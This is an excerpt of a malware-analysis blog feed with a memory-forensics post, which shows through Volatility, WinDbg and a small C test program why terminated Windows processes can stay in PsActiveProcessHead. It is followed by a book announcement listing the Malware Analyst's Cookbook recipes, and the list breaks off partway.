4 copies of vcpkgsrv.exe are all in the doubly-linked list, but none of them are still running.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;$ python vol.py -f Windows7.vmem --profile=Win7SP0x86 pslist&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Name                 Pid    PPid   Thds   Hnds   Time&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;System                    4      0     94    467 2011-02-16 14:18:23&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;smss.exe                256      4      2     29 2011-02-16 14:18:23&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;csrss.exe               344    336     10    718 2011-02-16 14:18:33&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[snip]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;svchost.exe            3388    512     14    346 2011-02-16 14:20:58&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;devenv.exe             3640   1148     20    713 2011-02-16 14:21:29&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;MSBuild.exe            2732   3640      0 ------ 2011-02-16 14:30:01&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;vcpkgsrv.exe           3900   3640      0 ------ 2011-02-16 14:39:52&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;vcpkgsrv.exe           3496   3640      0 ------ 2011-02-16 14:52:28&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;vcpkgsrv.exe           3984   3640      0 ------ 2011-02-16 14:52:38&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;vcpkgsrv.exe            188   3640      0 ------ 2011-02-16 14:56:19&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[snip]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To make sure the output is accurate, I cross-referenced the data with WinDbg on the machine from which the memory dump was acquired. Using a command presented in Chapter 14 of Malware Analyst's Cookbook (and later enhanced by &lt;a href="http://www.msuiche.net/"&gt;Matthieu Suiche&lt;/a&gt;), I asked the debugger to print information on the objects in PsActiveProcessHead. Sure enough, it too shows that these inactive processes are still in the active process list:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;kd&amp;gt; !list "-t nt!_EPROCESS.ActiveProcessLinks.Flink -e -x \"dt nt!_EPROCESS ImageFileName\"(poi(nt!PsActiveProcessHead)-@@c++(#FIELD_OFFSET(nt!_EPROCESS,ActiveProcessLinks)))"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[snip]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;kd&amp;gt; dt nt!_EPROCESS ImageFileName 0xffffffff8435ba58&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;+0x16c ImageFileName : [15]  "MSBuild.exe"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;kd&amp;gt; dt nt!_EPROCESS ImageFileName 0xffffffff8436e548&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;+0x16c ImageFileName : [15]  "vcpkgsrv.exe"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;kd&amp;gt; dt nt!_EPROCESS ImageFileName 0xffffffff86177030&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;+0x16c ImageFileName : [15]  "vcpkgsrv.exe"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;kd&amp;gt; dt nt!_EPROCESS ImageFileName 0xffffffff843c0380&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;+0x16c ImageFileName : [15]  "vcpkgsrv.exe"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;kd&amp;gt; dt nt!_EPROCESS ImageFileName 0xffffffff854d91a8&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;+0x16c ImageFileName : [15]  "vcpkgsrv.exe"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;[snip]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;How do I know that these processes are not actually running? Well for one, Volatility reports zero threads and an invalid EPROCESS.ObjectTable (handle table) pointer. Plus tools like &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896653"&gt;SysInternals Process Explorer&lt;/a&gt; don't show anything about them.&lt;br /&gt;&lt;br /&gt;So the questions are:&lt;br /&gt;&lt;br /&gt;1) When do processes get removed from the PsActiveProcessHead&lt;br /&gt;2) What are the conditions (if any) that must be met before removal takes place&lt;br /&gt;&lt;br /&gt;Until recently, I thought that the answer to number 1 was obvious - a process is removed from PsActiveProcessHead immediately after it terminates. But that's not the case. I searched a bit in &lt;a href="http://www.amazon.com/Windows%C3%82%C2%AE-Internals-Including-Windows-PRO-Developer/dp/0735625301"&gt;Windows Internals 5th Edition&lt;/a&gt;, which discusses process creation in great detail. However, it doesn't cover too much of process termination. Instead I used the trusty &lt;a href="http://www.hex-rays.com/idapro/"&gt;IDA Pro&lt;/a&gt; to find which function is responsible for removing a process. It happens inside nt!PspProcessDelete:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-i_4-i6F0v6c/TYOn7laqbMI/AAAAAAAACFQ/JXfxb4Bc7_w/s1600/PspDeleteProcess.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 212px;" src="http://2.bp.blogspot.com/-i_4-i6F0v6c/TYOn7laqbMI/AAAAAAAACFQ/JXfxb4Bc7_w/s320/PspDeleteProcess.png" alt="" id="BLOGGER_PHOTO_ID_5585492604967611586" border="0" /&gt;&lt;/a&gt;Now the question changes to "when is PspProcessDelete called." It isn't called directly by any function. Rather, it is moved into the &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=79"&gt;DeleteProcedure member of an OBJECT_TYPE_INITIALIZER&lt;/a&gt; structure when the kernel first defines the default behaviors for all EPROCESS objects. This happens in nt!PspInitPhase0:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-A41icUIudls/TYOqVbQKwyI/AAAAAAAACFY/eiOZqNsQ4Fw/s1600/PspInitPhase0.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 167px;" src="http://1.bp.blogspot.com/-A41icUIudls/TYOqVbQKwyI/AAAAAAAACFY/eiOZqNsQ4Fw/s320/PspInitPhase0.png" alt="" id="BLOGGER_PHOTO_ID_5585495247939093282" border="0" /&gt;&lt;/a&gt;After seeing these clues, the &lt;a href="http://www.osronline.com/DDKx/kmarch/objects_16av.htm"&gt;life cycle of an object&lt;/a&gt; came into mind. Also as described in Windows Internals, the Object Manager tracks handles and references to an object, and only allows the object to be freed when the reference count reaches zero. And now it makes sense how a process can terminate but stay in the PsActiveProcessHead linked list. Here's a description of what I believe to be the most likely explanation:&lt;br /&gt;&lt;br /&gt;1) Process A (the parent) creates Process B with an API such as &lt;a href="http://msdn.microsoft.com/en-us/library/ms682425%28v=vs.85%29.aspx"&gt;CreateProcess&lt;/a&gt;. The &lt;a href="http://msdn.microsoft.com/en-us/library/ms684873%28v=vs.85%29.aspx"&gt;PROCESS_INFORMATION&lt;/a&gt; parameter to this API is filled with a handle to Process B if the creation is successful.&lt;br /&gt;&lt;br /&gt;2) Process B is terminated, either on its own or as the result of a user killing it. At this point, the thread count reaches zero, the EPROCESS.ObjectTable is set to NULL, and the EPROCESS.ExitTime is filled in.&lt;br /&gt;&lt;br /&gt;3) Process A fails to call CloseHandle to decrement the reference count on Process B. Thus, the DeleteProcedure for Process B is never called and it is never removed from  PsActiveProcessHead.&lt;br /&gt;&lt;br /&gt;To test out my theory, I wrote a simple program that looks like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;void main (void)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;{&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  STARTUPINFOA StartupInfo;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  PROCESS_INFORMATION ProcessInfo;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  ZeroMemory(&amp;amp;StartupInfo, sizeof(STARTUPINFOA));&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  ZeroMemory(&amp;amp;ProcessInfo, sizeof(PROCESS_INFORMATION));&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  StartupInfo.cb = sizeof(STARTUPINFOA);&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  CreateProcessA(NULL, "notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;StartupInfo, &amp;amp;ProcessInfo);&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  getchar(); //block until user presses a key&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  CloseHandle(ProcessInfo.hThread);&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;  CloseHandle(ProcessInfo.hProcess);&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The program creates a child process (notepad.exe) and remains running. This gives you a chance to use tools and verify the two new processes were created. Then you can close notepad.exe and watch it disappear from Process Explorer, but remain in PsActiveProcessHead (via the WinDbg command or Volatility's pslist). It is only when you type a character into my sample program  that it progresses past the getchar() call. At this point, it closes its handle to notepad.exe, the reference count reaches zero, the EPROCESS object is marked for deletion, and it is removed from PsActiveProcessHead.&lt;br /&gt;&lt;br /&gt;Before today, I would have said that &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#psscan2"&gt;an object scanning technique&lt;/a&gt; was the only way to identify terminated processes in a memory dump, but now we have another. Of course, it takes some getting lucky - for example a malware sample that launches various child processes and never closes the handles even after the child processes die.&lt;br /&gt;&lt;br /&gt;And that, my friends, is the story of the mis-leading 'Active' in PsActiveProcessHead and ActiveProcessLinks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-4751248051981980528?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/4751248051981980528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=4751248051981980528' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4751248051981980528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4751248051981980528'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/03/mis-leading-active-in.html' title='The Mis-leading &apos;Active&apos; in PsActiveProcessHead and ActiveProcessLinks'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-i_4-i6F0v6c/TYOn7laqbMI/AAAAAAAACFQ/JXfxb4Bc7_w/s72-c/PspDeleteProcess.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-8170263521888280158</id><published>2010-10-25T19:31:00.007-06:00</published><updated>2010-10-30T17:45:40.531-06:00</updated><title type='text'>Malware Analyst's Cookbook and Website</title><content type='html'>I'm pleased to announce the availability of &lt;a href="http://www.amazon.com/gp/product/0470613033/"&gt;Malware Analyst's Cookbook.&lt;/a&gt; At nearly 700 pages, the book contains hundreds of recipes describing malware analysis tools and techniques. Many of the tools are exclusive to the DVD which is distributed with the book (note: the DVD is not available for the Kindle version). The book's errata, bug reports, and future code releases will be posted at &lt;a href="http://www.malwarecookbook.com/"&gt;www.malwarecookbook.com&lt;/a&gt;.&lt;br /&gt;&lt;a href="http://ecx.images-amazon.com/images/I/51GypJuvi6L._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg"&gt;&lt;br /&gt;&lt;/a&gt;Here is a list of the recipes:&lt;br /&gt;&lt;br /&gt;    Anonymizing Your Activities&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Anonymous Web Browsing with Tor&lt;/li&gt;&lt;li&gt;          Wrapping Wget and Network Clients with Torsocks&lt;/li&gt;&lt;li&gt;          Multi-platform Tor-enabled Downloader in Python&lt;/li&gt;&lt;li&gt;          Forwarding Traffic Through Open Proxies&lt;/li&gt;&lt;li&gt;          Using SSH Tunnels to Proxy Connections&lt;/li&gt;&lt;li&gt;          Privacy-enhanced Web Browsing with Privoxy&lt;/li&gt;&lt;li&gt;          Anonymous Surfing with Anonymous.org&lt;/li&gt;&lt;li&gt;          Internet Access Through Cellular Networks&lt;/li&gt;&lt;li&gt;          Using VPNs with Anonymizer Universal&lt;/li&gt;&lt;/ul&gt;    Honeypots&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Collecting Malware Samples with Nepenthes&lt;/li&gt;&lt;li&gt;          Real-time Attack Monitoring with IRC Logging&lt;/li&gt;&lt;li&gt;          Accepting Nepenthes Submissions over HTTP in Python&lt;/li&gt;&lt;li&gt;          Collecting Malware Samples with Dionaea&lt;/li&gt;&lt;li&gt;          Accepting Dionaea Submissions over HTTP in Python&lt;/li&gt;&lt;li&gt;          Real-time Event Notification and Binary Sharing with XMPP&lt;/li&gt;&lt;li&gt;          Analyzing and Replaying Attacks Logged by Dionaea&lt;/li&gt;&lt;li&gt;          Passive Identification of Remote Systems with p0f&lt;/li&gt;&lt;li&gt;          Graphing Dionaea Attack Patterns with SQLite3 and Gnuplot&lt;/li&gt;&lt;/ul&gt;    Malware Classification&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Examining Existing ClamAV Signatures&lt;/li&gt;&lt;li&gt;          Creating a Custom ClamAV Database&lt;/li&gt;&lt;li&gt;          Converting ClamAV Signatures to YARA&lt;/li&gt;&lt;li&gt;          Identifying Packers with YARA and PEiD&lt;/li&gt;&lt;li&gt;          Detecting Malware Capabilities with YARA&lt;/li&gt;&lt;li&gt;          File Type Identification and Hashing in Python&lt;/li&gt;&lt;li&gt;          Writing a Multiple-AV Scanner in Python&lt;/li&gt;&lt;li&gt;          Detecting Malicious PE Files in Python&lt;/li&gt;&lt;li&gt;          Finding Similar Malware with ssdeep&lt;/li&gt;&lt;li&gt;         Detecting Self-modifying Code with ssdeep&lt;/li&gt;&lt;li&gt;         Comparing Binaries with IDA and BinDiff&lt;/li&gt;&lt;/ul&gt;    Sandboxes and Multi-AV Scanners&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Scanning Files with VirusTotal&lt;/li&gt;&lt;li&gt;          Scanning Files with Jotti&lt;/li&gt;&lt;li&gt;          Scanning Files with NoVirusThanks&lt;/li&gt;&lt;li&gt;          Database-enabled Multi-AV Uploader in Python&lt;/li&gt;&lt;li&gt;          Analyzing Malware with ThreatExpert&lt;/li&gt;&lt;li&gt;          Analyzing Malware with CWSandbox&lt;/li&gt;&lt;li&gt;          Analyzing malware with Anubis&lt;/li&gt;&lt;li&gt;          Writing AutoIT Scripts for Joebox&lt;/li&gt;&lt;li&gt;          Defeating Path-dependent Malware with Joebox&lt;/li&gt;&lt;li&gt;         Defeating Process-dependent DLLs with Joebox&lt;/li&gt;&lt;li&gt;         Setting an Active HTTP Proxy with Joebox&lt;/li&gt;&lt;li&gt;         Scanning for Artifacts with Sandbox Results&lt;/li&gt;&lt;/ul&gt;    Domains and IP Addresses&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Researching Domains with WHOIS&lt;/li&gt;&lt;li&gt;          Resolving DNS Hostnames&lt;/li&gt;&lt;li&gt;          Obtaining IP WHOIS Records&lt;/li&gt;&lt;li&gt;          Querying Passive DNS with BFK&lt;/li&gt;&lt;li&gt;          Checking DNS Records with Robtex&lt;/li&gt;&lt;li&gt;          Performing a Reverse IP Search with DomainTools&lt;/li&gt;&lt;li&gt;          Initiating Zone Transfers with dig&lt;/li&gt;&lt;li&gt;          Brute-forcing Subdomains with dnsmap&lt;/li&gt;&lt;li&gt;          Mapping IP Addresses to ASNs via Shadowserver&lt;/li&gt;&lt;li&gt;         Checking IP Reputation with RBLs&lt;/li&gt;&lt;li&gt;         Detecting Fast Flux with Passive DNS and TTLs&lt;/li&gt;&lt;li&gt;         Tracking Fast Flux Domains with Tracker&lt;/li&gt;&lt;li&gt;         Static Maps with Maxmind, Matplotlib and pygoeip&lt;/li&gt;&lt;li&gt;         Interactive Maps with Google Charts API&lt;/li&gt;&lt;/ul&gt;    Malicious Documents and URLs&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Analyzing JavaScript with Spidermonkey&lt;/li&gt;&lt;li&gt;          Automatically Decoding JavaScript with Jsunpack&lt;/li&gt;&lt;li&gt;          Optimizing Jsunpack-n Decodings for Speed and Completeness&lt;/li&gt;&lt;li&gt;          Triggering Exploits by Emulating Browser DOM Elements&lt;/li&gt;&lt;li&gt;          Extracting JavaScript from PDF Files with pdf.py&lt;/li&gt;&lt;li&gt;          Triggering Exploits by Faking PDF Software Versions&lt;/li&gt;&lt;li&gt;          Leveraging Didier Stevens's PDF Tools&lt;/li&gt;&lt;li&gt;          Determining which Vulnerabilities a PDF File Exploits&lt;/li&gt;&lt;li&gt;          Disassembling Shellcode with DiStorm&lt;/li&gt;&lt;li&gt;         Emulating Shellcode with Libemu&lt;/li&gt;&lt;li&gt;         Analyzing Microsoft Office Files with OfficeMalScanner&lt;/li&gt;&lt;li&gt;         Debugging Office Shellcode with DisView and MalHost-Setup&lt;/li&gt;&lt;li&gt;         Extracting HTTP Files from Packet Captures with Jsunpack&lt;/li&gt;&lt;li&gt;         Graphing URL Relationships with Jsunpack&lt;/li&gt;&lt;/ul&gt;    Malware Labs&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Routing TCP/IP Connections in Your Lab&lt;/li&gt;&lt;li&gt;          Capturing and Analyzing Network Traffic&lt;/li&gt;&lt;li&gt;          Simulating the Internet with INetSim&lt;/li&gt;&lt;li&gt;          Manipulating HTTP/HTTPS with Burp Proxy&lt;/li&gt;&lt;li&gt;          Using Joe Stewart's Truman&lt;/li&gt;&lt;li&gt;          Preserving Physical Systems with Deep Freeze&lt;/li&gt;&lt;li&gt;          Cloning and Imaging Disks with FOG&lt;/li&gt;&lt;li&gt;          Automating FOG Tasks with the MySQL Database&lt;/li&gt;&lt;/ul&gt;    Automation&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Automated Malware Analysis with VirtualBox&lt;/li&gt;&lt;li&gt;          Working with VirtualBox Disk and Memory Images&lt;/li&gt;&lt;li&gt;          Automated Malware Analysis with VMware&lt;/li&gt;&lt;li&gt;          Capturing Packets with TShark via Python&lt;/li&gt;&lt;li&gt;          Collecting Network Logs with INetSim via Python&lt;/li&gt;&lt;li&gt;          Analyzing Memory Files with Volatility&lt;/li&gt;&lt;li&gt;          Putting All the Sandbox Pieces Together&lt;/li&gt;&lt;li&gt;          Automated Analysis with Zero Wine and QEMU&lt;/li&gt;&lt;li&gt;          Automated Analysis with Sandboxie and Buster&lt;/li&gt;&lt;/ul&gt;    Dynamic Analysis&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Logging API Calls with Process Monitor&lt;/li&gt;&lt;li&gt;          Change Detection with Regshot&lt;/li&gt;&lt;li&gt;          Receiving File System Change Notifications&lt;/li&gt;&lt;li&gt;          Receiving Registry Change Notifications&lt;/li&gt;&lt;li&gt;          Handle Table Diffing&lt;/li&gt;&lt;li&gt;          Exploring Code Injection with HandleDiff&lt;/li&gt;&lt;li&gt;          Watching Bankpatch.C Disable Windows File Protection&lt;/li&gt;&lt;li&gt;          Building an API Monitor with Microsoft Detours&lt;/li&gt;&lt;li&gt;          Following Child Processes with your API Monitor&lt;/li&gt;&lt;li&gt;         Capturing Process, Thread, and Image Load Events&lt;/li&gt;&lt;li&gt;         Preventing Processes from Terminating&lt;/li&gt;&lt;li&gt;         Preventing Malware from Deleting Files&lt;/li&gt;&lt;li&gt;         Preventing Drivers from Loading&lt;/li&gt;&lt;li&gt;         Using the Data Preservation Module&lt;/li&gt;&lt;li&gt;         Creating a Custom Command Shell with ReactOS&lt;/li&gt;&lt;/ul&gt;   Malware Forensics&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Discovering Alternate Data Streams with TSK&lt;/li&gt;&lt;li&gt;          Detecting Hidden Files and Directories with TSK&lt;/li&gt;&lt;li&gt;          Finding Hidden Registry Data with Microsoft's Offline API&lt;/li&gt;&lt;li&gt;          Bypassing Poison Ivy's Locked Files&lt;/li&gt;&lt;li&gt;          Bypassing Conficker's File System ACL Restrictions&lt;/li&gt;&lt;li&gt;          Scanning for Rootkits with GMER&lt;/li&gt;&lt;li&gt;          Detecting HTML Injection by Inspecting IE's DOM&lt;/li&gt;&lt;li&gt;          Registry Forensics with RegRipper Plug-ins&lt;/li&gt;&lt;li&gt;          Detecting Rogue Installed PKI Certificates&lt;/li&gt;&lt;li&gt;         Examining Malware that Leaks Data into the Registry&lt;/li&gt;&lt;/ul&gt;   Debugging Malware&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Opening and Attaching to Processes&lt;/li&gt;&lt;li&gt;          Configuring a JIT Debugger for Shellcode Analysis&lt;/li&gt;&lt;li&gt;          Getting Familiar with the Debugger GUI&lt;/li&gt;&lt;li&gt;          Exploring Process Memory and Resources&lt;/li&gt;&lt;li&gt;          Controlling Program Execution&lt;/li&gt;&lt;li&gt;          Setting and Catching Breakpoints&lt;/li&gt;&lt;li&gt;          Using Conditional Log Breakpoints&lt;/li&gt;&lt;li&gt;          Debugging with Python Scripts and PyCommands&lt;/li&gt;&lt;li&gt;          Detecting Shellcode in Binary Files&lt;/li&gt;&lt;li&gt;         Investigating Silentbanker's API Hooks&lt;/li&gt;&lt;li&gt;         Manipulating Process Memory with WinAppDbg Tools&lt;/li&gt;&lt;li&gt;         Designing a Python API Monitor with WinAppDbg&lt;/li&gt;&lt;/ul&gt;   De-Obfuscation&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Reversing XOR Algorithms in Python&lt;/li&gt;&lt;li&gt;          Detecting XOR Encoded Data with yaratize&lt;/li&gt;&lt;li&gt;          Decoding Base64 with Special Alphabets&lt;/li&gt;&lt;li&gt;          Isolating Encrypted Data in Packet Captures&lt;/li&gt;&lt;li&gt;          Finding Crypto with SnD Reverser Tool, FindCrypt, and Kanal&lt;/li&gt;&lt;li&gt;          Porting OpenSSL Symbols with Zynamics BinDiff&lt;/li&gt;&lt;li&gt;          Decrypting Data in Python with PyCrypto&lt;/li&gt;&lt;li&gt;          Finding OEP in Packed Malware&lt;/li&gt;&lt;li&gt;          Dumping Process Memory with LordPE&lt;/li&gt;&lt;li&gt;         Rebuilding Import Tables with ImpREC&lt;/li&gt;&lt;li&gt;         Cracking Domain Generation Algorithms&lt;/li&gt;&lt;li&gt;         Decoding Strings with x86emu and Python&lt;/li&gt;&lt;/ul&gt;   Working with DLLs&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Enumerating DLL Exports&lt;/li&gt;&lt;li&gt;          Executing DLLs with rundll3exe&lt;/li&gt;&lt;li&gt;          Bypassing Host Process Restrictions&lt;/li&gt;&lt;li&gt;          Calling DLL Exports Remotely with rundll32ex&lt;/li&gt;&lt;li&gt;          Debugging DLLs with LOADDLL.EXE&lt;/li&gt;&lt;li&gt;          Catching Breakpoints on DLL Entry Points&lt;/li&gt;&lt;li&gt;          Executing DLLs as a Windows Service&lt;/li&gt;&lt;li&gt;          Converting DLLs to Standalone Executables&lt;/li&gt;&lt;/ul&gt;   Kernel Debugging&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Local Debugging with LiveKd&lt;/li&gt;&lt;li&gt;          Enabling the Kernel's Debug Boot Switch&lt;/li&gt;&lt;li&gt;          Debug a VMware Workstation Guest (on Windows)&lt;/li&gt;&lt;li&gt;          Debug a Parallels Guests (on Mac OS X)&lt;/li&gt;&lt;li&gt;          Introduction to WinDbg Commands and Controls&lt;/li&gt;&lt;li&gt;          Exploring Processes and Process Contexts&lt;/li&gt;&lt;li&gt;          Exploring Kernel Memory&lt;/li&gt;&lt;li&gt;          Catching Breakpoints on Driver Load&lt;/li&gt;&lt;li&gt;          Unpacking Drivers to OEP&lt;/li&gt;&lt;li&gt;         Dumping and Rebuilding Kernel Drivers&lt;/li&gt;&lt;li&gt;         Detecting Rootkits with WinDbg Scripts&lt;/li&gt;&lt;li&gt;         Kernel Debugging with IDA Pro&lt;/li&gt;&lt;/ul&gt;   Memory Forensics with Volatility&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Dumping Memory with MoonSols Windows Memory Toolkit&lt;/li&gt;&lt;li&gt;          Remote, Read-only Memory Acquisition with F-Response&lt;/li&gt;&lt;li&gt;          Accessing Virtual Machine Memory Files&lt;/li&gt;&lt;li&gt;          Volatility in a Nutshell&lt;/li&gt;&lt;li&gt;          Investigating Processes in Memory Dumps&lt;/li&gt;&lt;li&gt;          Detecting DKOM Attacks with psscan&lt;/li&gt;&lt;li&gt;          Exploring csrss.exe's Alternate Process Listings&lt;/li&gt;&lt;li&gt;          Recognizing Process Context Tricks&lt;/li&gt;&lt;/ul&gt;   Memory Forensics: Code Injection &amp;amp; Extraction&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Hunting Suspicious Loaded DLLs&lt;/li&gt;&lt;li&gt;          Detecting Unlinked DLLs with ldr_modules&lt;/li&gt;&lt;li&gt;          Exploring Virtual Address Descriptors (VAD)&lt;/li&gt;&lt;li&gt;          Translating Page Protections&lt;/li&gt;&lt;li&gt;          Finding Artifacts in Process Memory&lt;/li&gt;&lt;li&gt;          Identifying Injected Code with Malfind and YARA&lt;/li&gt;&lt;li&gt;          Rebuilding Executable Images from Memory&lt;/li&gt;&lt;li&gt;          Scanning for Imported Functions with impscan&lt;/li&gt;&lt;li&gt;          Dumping Suspicious Kernel Modules&lt;/li&gt;&lt;/ul&gt;   Memory Forensics: Rootkits&lt;br /&gt;&lt;ul&gt;&lt;li&gt;          Detecting IAT 